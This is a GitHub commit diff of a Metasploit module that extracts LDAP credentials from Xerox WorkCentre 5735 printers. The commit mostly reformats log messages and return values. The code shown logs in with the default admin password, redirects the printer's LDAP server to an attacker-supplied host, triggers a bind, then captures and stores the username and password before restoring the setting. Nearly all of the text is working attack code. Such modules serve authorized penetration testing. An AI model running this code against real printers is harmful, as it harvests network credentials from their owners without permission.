1
1
#
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
+
5
6
require 'rex/proto/http'
6
7
require 'msf/core'
7
8
@@ -12,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
12
13
13
14
def initialize ( info = { } )
14
15
super ( update_info ( info ,
15
- 'Name' => 'Xerox workcentre 5735 LDAP service redential extractor ' ,
16
+ 'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor ' ,
16
17
'Description' => %{
17
18
This module extract the printers LDAP user and password from Xerox workcentre 5735.
18
19
} ,
@@ -28,19 +29,19 @@ def initialize(info={})
28
29
[
29
30
OptBool . new ( 'SSL' , [ true , 'Negotiate SSL for outgoing connections' , false ] ) ,
30
31
OptString . new ( 'PASSWORD' , [ true , 'Password to access administrative interface. Defaults to 1111' , '1111' ] ) ,
31
- OptInt . new ( 'RPORT' , [ true , 'The target port on the remote printer. Defaults to 80' , 80 ] ) ,
32
+ OptPort . new ( 'RPORT' , [ true , 'The target port on the remote printer. Defaults to 80' , 80 ] ) ,
32
33
OptInt . new ( 'TIMEOUT' , [ true , 'Timeout for printer connection probe.' , 20 ] ) ,
33
34
OptInt . new ( 'TCPDELAY' , [ true , 'Number of seconds the tcp server will wait before termination.' , 20 ] ) ,
34
35
OptString . new ( 'NewLDAPServer' , [ true , 'The IP address of the LDAP server you want the printer to connect back to.' ] )
35
36
] , self . class )
36
37
end
37
38
38
39
def run
39
- print_status ( "Attempting to extract LDAP username and password for the host at #{ rhost } " )
40
+ print_status ( "#{ peer } - Attempting to extract LDAP username and password... " )
40
41
41
42
@auth_cookie = default_page
42
43
if @auth_cookie . blank?
43
- print_status ( "Unable to get authentication cookie from #{ rhost } " )
44
+ print_status ( "#{ peer } - Unable to get authentication cookie from #{ rhost } " )
44
45
return
45
46
end
46
47
@@ -55,10 +56,10 @@ def run
55
56
56
57
start_listener
57
58
unless @data
58
- print_error ( ' Failed to start listiner or the printer did not send us the creds. :(' )
59
+ print_error ( " #{ peer } - Failed to start listiner or the printer did not send us the creds. :(" )
59
60
status = restore_ldap_server
60
61
unless status
61
- print_error ( ' Failed to restore old LDAP server. Please manually restore' )
62
+ print_error ( " #{ peer } - Failed to restore old LDAP server. Please manually restore" )
62
63
end
63
64
return
64
65
end
@@ -69,25 +70,25 @@ def run
69
70
ldap_binary_creds = @data . scan ( /(\w +\\ \w +).\s *(.+)/ ) . flatten
70
71
ldap_creds = "#{ ldap_binary_creds [ 0 ] } :#{ ldap_binary_creds [ 1 ] } "
71
72
72
- #Woot we got creds so lets save them.#
73
- print_good ( "The following creds were capured: #{ ldap_creds } " )
73
+ # Woot we got creds so lets save them.#
74
+ print_good ( "#{ peer } - The following creds were capured: #{ ldap_creds } " )
74
75
loot_name = 'ldap.cp.creds'
75
76
loot_type = 'text/plain'
76
77
loot_filename = 'ldap-creds.text'
77
78
loot_desc = 'LDAP Pass-back Harvester'
78
79
p = store_loot ( loot_name , loot_type , datastore [ 'RHOST' ] , @data , loot_filename , loot_desc )
79
- print_status ( "Credentials saved in: #{ p } " )
80
+ print_status ( "#{ peer } - Credentials saved in: #{ p } " )
80
81
81
82
register_creds ( 'ldap' , rhost , @ldap_port , ldap_binary_creds [ 0 ] , ldap_binary_creds [ 1 ] )
82
83
end
83
84
84
85
def default_page
85
- default_page = '/header.php?tab=status'
86
+ page = '/header.php?tab=status'
86
87
method = 'GET'
87
- res = make_request ( default_page , method , '' )
88
+ res = make_request ( page , method , '' )
88
89
if res . blank? || res . code != 200
89
- print_error ( "Failed to connect to #{ rhost } . Please check the printers IP address." )
90
- return false
90
+ print_error ( "#{ peer } - Failed to connect to #{ rhost } . Please check the printers IP address." )
91
+ return ''
91
92
end
92
93
res . get_cookies
93
94
end
@@ -108,8 +109,8 @@ def login
108
109
109
110
res = make_request ( login_page , method , login_post_data )
110
111
if res . blank? || res . code != 200
111
- print_error ( "Failed to login on #{ rhost } . Please check the password for the Administrator account " )
112
- return false
112
+ print_error ( "#{ peer } - Failed to login. Please check the password for the Administrator account" )
113
+ return nil
113
114
end
114
115
res . code
115
116
end
@@ -125,10 +126,10 @@ def ldap_server_info
125
126
ldap_port_number = ldap_port_settings . scan ( /valPrt_1\[ 2\] = (\d +)/ ) . flatten
126
127
@ldap_server = "#{ ldap_server_ip [ 0 ] } .#{ ldap_server_ip [ 1 ] } .#{ ldap_server_ip [ 2 ] } .#{ ldap_server_ip [ 3 ] } "
127
128
@ldap_port = ldap_port_number [ 0 ]
128
- print_status ( "Found LDAP server: #{ @ldap_server } " )
129
+ print_status ( "#{ peer } - LDAP server: #{ @ldap_server } " )
129
130
unless res . code == 200 || res . blank?
130
- print_error ( "Failed to get ldap data from #{ rhost } ." )
131
- return false
131
+ print_error ( "#{ peer } - Failed to get LDAP data." )
132
+ return nil
132
133
end
133
134
res . code
134
135
end
@@ -148,11 +149,11 @@ def update_ldap_server
148
149
ldap_update_post *= '&'
149
150
method = 'POST'
150
151
151
- print_status ( "Updating LDAP server: #{ datastore [ 'NewLDAPServer' ] } and port: #{ datastore [ 'SRVPORT' ] } " )
152
+ print_status ( "#{ peer } - Updating LDAP server: #{ datastore [ 'NewLDAPServer' ] } and port: #{ datastore [ 'SRVPORT' ] } " )
152
153
res = make_request ( ldap_update_page , method , ldap_update_post )
153
154
if res . blank? || res . code != 200
154
- print_error ( "Failed to update ldap server. Please check the host: #{ rhost } " )
155
- return false
155
+ print_error ( "#{ peer } - Failed to update LDAP server. Please check the host: #{ rhost } " )
156
+ return nil
156
157
end
157
158
res . code
158
159
end
@@ -183,7 +184,7 @@ def trigger_ldap_request
183
184
ldap_trigger_post *= '&'
184
185
method = 'POST'
185
186
186
- print_status ( ' Triggering LDAP reqeust' )
187
+ print_status ( " #{ peer } - Triggering LDAP reqeust" )
187
188
res = make_request ( ldap_trigger_page , method , ldap_trigger_post )
188
189
res . code
189
190
end
@@ -242,16 +243,18 @@ def restore_ldap_server
242
243
ldap_restore_post *= '&'
243
244
method = 'POST'
244
245
245
- print_status ( "Restoring LDAP server: #{ @ldap_server } " )
246
+ print_status ( "#{ peer } - Restoring LDAP server: #{ @ldap_server } " )
246
247
res = make_request ( ldap_restore_page , method , ldap_restore_post )
247
248
if res . blank? || res . code != 200
248
- print_error ( "Failed to restore LDAP server: #{ @ldap_server } . Please fix manually" )
249
- return false
249
+ print_error ( "#{ peer } - Failed to restore LDAP server: #{ @ldap_server } . Please fix manually" )
250
+ return nil
250
251
end
251
252
res . code
252
253
end
253
254
254
255
def make_request ( page , method , post_data )
256
+ res = nil
257
+
255
258
begin
256
259
res = send_request_cgi (
257
260
{
@@ -260,11 +263,12 @@ def make_request(page, method, post_data)
260
263
'cookie' => @auth_cookie ,
261
264
'data' => post_data
262
265
} , datastore [ 'TIMEOUT' ] . to_i )
263
- return res
266
+
264
267
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError
265
- print_error ( "#{ rhost } :#{ rport } - Connection failed." )
266
- return false
268
+ print_error ( "#{ peer } - Connection failed." )
267
269
end
270
+
271
+ res
268
272
end
269
273
270
274
def register_creds ( service_name , remote_host , remote_port , username , password )
0 commit comments